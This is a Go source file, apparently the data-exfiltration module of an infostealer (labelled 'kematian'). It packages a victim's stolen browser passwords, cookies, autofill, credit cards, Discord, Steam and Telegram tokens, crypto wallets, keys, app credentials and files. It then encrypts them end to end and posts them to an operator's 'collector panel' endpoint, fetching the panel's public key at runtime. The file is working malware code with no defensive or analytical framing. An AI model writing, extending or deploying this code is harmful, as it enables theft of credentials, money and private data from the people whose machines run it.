249 lines
6.2 KiB
Go
249 lines
6.2 KiB
Go
package exfil
|
|
|
|
import (
|
|
"bytes"
|
|
"crypto/ecdh"
|
|
"crypto/rand"
|
|
"crypto/sha256"
|
|
"encoding/base64"
|
|
"encoding/hex"
|
|
"context"
|
|
"encoding/json"
|
|
"fmt"
|
|
"io"
|
|
"net/http"
|
|
"os"
|
|
"runtime"
|
|
"strings"
|
|
"time"
|
|
|
|
"golang.org/x/crypto/chacha20poly1305"
|
|
"golang.org/x/crypto/hkdf"
|
|
|
|
"recovery/recovery/types"
|
|
)
|
|
|
|
// PANEL_ENDPOINT is where the collector panel lives. URL + key are baked at
|
|
// build time (see build_final.bat or set here).
|
|
// PANEL_PUBKEY is the panel's E2EE public key (hex). Get it from /e2ee/pub on
|
|
// the panel. Only this public key is needed to post; decryption needs the
|
|
// private key that only the panel holds.
|
|
var (
|
|
PanelEndpoint = "http://127.0.0.1:5000/api/ingest"
|
|
PanelPubKey = ""
|
|
// Ingest key must match PANEL_INGEST_KEY on the panel.
|
|
PanelAuth = "CHANGE-ME"
|
|
)
|
|
|
|
const (
|
|
e2eeSalt = "kematian-e2ee-salt"
|
|
e2eeInfo = "kematian-e2ee-v1"
|
|
)
|
|
|
|
// e2eeSeal encrypts plaintext toward the panel's public key.
|
|
// Wire format: base64( ephemeral_pub(32) || nonce(12) || ciphertext )
|
|
func e2eeSeal(plaintext []byte) (string, error) {
|
|
pkBytes, err := hex.DecodeString(PanelPubKey)
|
|
if err != nil || len(pkBytes) != 32 {
|
|
return "", fmt.Errorf("invalid panel public key: %v", err)
|
|
}
|
|
curve := ecdh.X25519()
|
|
panelPub, err := curve.NewPublicKey(pkBytes)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
ephPriv, err := curve.GenerateKey(rand.Reader)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
shared, err := ephPriv.ECDH(panelPub)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
|
|
// HKDF-SHA256(shared, salt, info) -> 32-byte key
|
|
r := hkdf.New(sha256.New, shared, []byte(e2eeSalt), []byte(e2eeInfo))
|
|
key := make([]byte, chacha20poly1305.KeySize)
|
|
if _, err := io.ReadFull(r, key); err != nil {
|
|
return "", err
|
|
}
|
|
|
|
aead, err := chacha20poly1305.New(key)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
nonce := make([]byte, aead.NonceSize())
|
|
if _, err := rand.Read(nonce); err != nil {
|
|
return "", err
|
|
}
|
|
ct := aead.Seal(nil, nonce, plaintext, nil)
|
|
|
|
wire := append(ephPriv.PublicKey().Bytes(), nonce...)
|
|
wire = append(wire, ct...)
|
|
return base64.StdEncoding.EncodeToString(wire), nil
|
|
}
|
|
|
|
// ensurePubKey fetches the panel's E2EE public key at runtime if it isn't
|
|
// already embedded. This removes the need to paste the key at build time: only
|
|
// the endpoint + auth key are baked in, the agent asks the panel for its key.
|
|
func ensurePubKey() error {
|
|
if PanelPubKey != "" {
|
|
return nil
|
|
}
|
|
req, err := http.NewRequestWithContext(context.Background(), "GET", buildBaseURL()+"/e2ee/pub", nil)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
req.Header.Set("Authorization", "Bearer "+PanelAuth)
|
|
resp, err := http.DefaultClient.Do(req)
|
|
if err != nil {
|
|
return fmt.Errorf("fetching pubkey: %w", err)
|
|
}
|
|
defer resp.Body.Close()
|
|
if resp.StatusCode != http.StatusOK {
|
|
return fmt.Errorf("pubkey endpoint returned %s", resp.Status)
|
|
}
|
|
body, _ := io.ReadAll(resp.Body)
|
|
var out struct {
|
|
PublicKey string `json:"publicKey"`
|
|
}
|
|
if err := json.Unmarshal(body, &out); err != nil {
|
|
return fmt.Errorf("parsing pubkey: %w", err)
|
|
}
|
|
if len(out.PublicKey) != 64 {
|
|
return fmt.Errorf("unexpected pubkey length %d", len(out.PublicKey))
|
|
}
|
|
PanelPubKey = out.PublicKey
|
|
return nil
|
|
}
|
|
|
|
func buildBaseURL() string {
|
|
return strings.TrimSuffix(PanelEndpoint, "/api/ingest")
|
|
}
|
|
|
|
// SendToPanel posts the encrypted CollectionResult (+ optional binary payloads)
|
|
// to the collector panel over E2EE.
|
|
func SendToPanel(result *types.CollectionResult, clientID string, payloads ...types.Payload) error {
|
|
if PanelEndpoint == "" {
|
|
return fmt.Errorf("panel endpoint not configured")
|
|
}
|
|
if err := ensurePubKey(); err != nil {
|
|
return err
|
|
}
|
|
if PanelPubKey == "" {
|
|
return fmt.Errorf("no pubkey available")
|
|
}
|
|
|
|
payload := buildPanelPayload(result, clientID)
|
|
if len(payloads) > 0 {
|
|
payload["payloads"] = payloads
|
|
}
|
|
|
|
plainJSON, err := json.Marshal(payload)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
enc, err := e2eeSeal(plainJSON)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
body, _ := json.Marshal(map[string]string{"enc": enc})
|
|
|
|
req, err := http.NewRequestWithContext(context.Background(), "POST", PanelEndpoint, bytes.NewReader(body))
|
|
if err != nil {
|
|
return err
|
|
}
|
|
req.Header.Set("Content-Type", "application/json")
|
|
req.Header.Set("Authorization", "Bearer "+PanelAuth)
|
|
|
|
client := &http.Client{Timeout: 60 * time.Second}
|
|
resp, err := client.Do(req)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer resp.Body.Close()
|
|
respBody, _ := io.ReadAll(resp.Body)
|
|
if resp.StatusCode != http.StatusOK {
|
|
return fmt.Errorf("panel rejected: %s - %s", resp.Status, strings.TrimSpace(string(respBody)))
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func guessOS() string {
|
|
if runtime.GOOS == "windows" {
|
|
return os.Getenv("OS")
|
|
}
|
|
return runtime.GOOS
|
|
}
|
|
|
|
func guessArch() string {
|
|
return runtime.GOARCH
|
|
}
|
|
|
|
func GenerateClientID() string {
|
|
b := make([]byte, 12)
|
|
_, _ = rand.Read(b)
|
|
return base64.RawURLEncoding.EncodeToString(b)
|
|
}
|
|
|
|
// buildPanelPayload maps a CollectionResult to the flat structure the panel
|
|
// ingest stores into its per-category tables. clientID groups everything.
|
|
func buildPanelPayload(r *types.CollectionResult, clientID string) map[string]interface{} {
|
|
p := map[string]interface{}{
|
|
"clientId": clientID,
|
|
"host": map[string]interface{}{
|
|
"os": guessOS(),
|
|
"arch": guessArch(),
|
|
},
|
|
}
|
|
if l := len(r.Passwords); l > 0 {
|
|
p["passwords"] = r.Passwords
|
|
}
|
|
if l := len(r.Cookies); l > 0 {
|
|
p["cookies"] = r.Cookies
|
|
}
|
|
if l := len(r.Autofill); l > 0 {
|
|
p["autofill"] = r.Autofill
|
|
}
|
|
if l := len(r.History); l > 0 {
|
|
p["history"] = r.History
|
|
}
|
|
if l := len(r.Bookmarks); l > 0 {
|
|
p["bookmarks"] = r.Bookmarks
|
|
}
|
|
if l := len(r.CreditCards); l > 0 {
|
|
p["creditCards"] = r.CreditCards
|
|
}
|
|
if l := len(r.DiscordTokens); l > 0 {
|
|
p["discordTokens"] = r.DiscordTokens
|
|
}
|
|
if l := len(r.Files); l > 0 {
|
|
p["files"] = r.Files
|
|
}
|
|
if l := len(r.Extensions); l > 0 {
|
|
p["extensions"] = r.Extensions
|
|
}
|
|
if l := len(r.Wallets); l > 0 {
|
|
p["wallets"] = r.Wallets
|
|
}
|
|
if l := len(r.Telegram); l > 0 {
|
|
p["telegram"] = r.Telegram
|
|
}
|
|
if l := len(r.Keys); l > 0 {
|
|
p["keys"] = r.Keys
|
|
}
|
|
if l := len(r.AppCredentials); l > 0 {
|
|
p["appCredentials"] = r.AppCredentials
|
|
}
|
|
if r.Gaming != nil {
|
|
p["gaming"] = r.Gaming
|
|
if r.Gaming.Steam != nil && len(r.Gaming.Steam.SteamTokens) > 0 {
|
|
p["steamTokens"] = r.Gaming.Steam.SteamTokens
|
|
}
|
|
}
|
|
if r.VPNs != nil {
|
|
p["vpns"] = r.VPNs
|
|
}
|
|
return p
|
|
}
|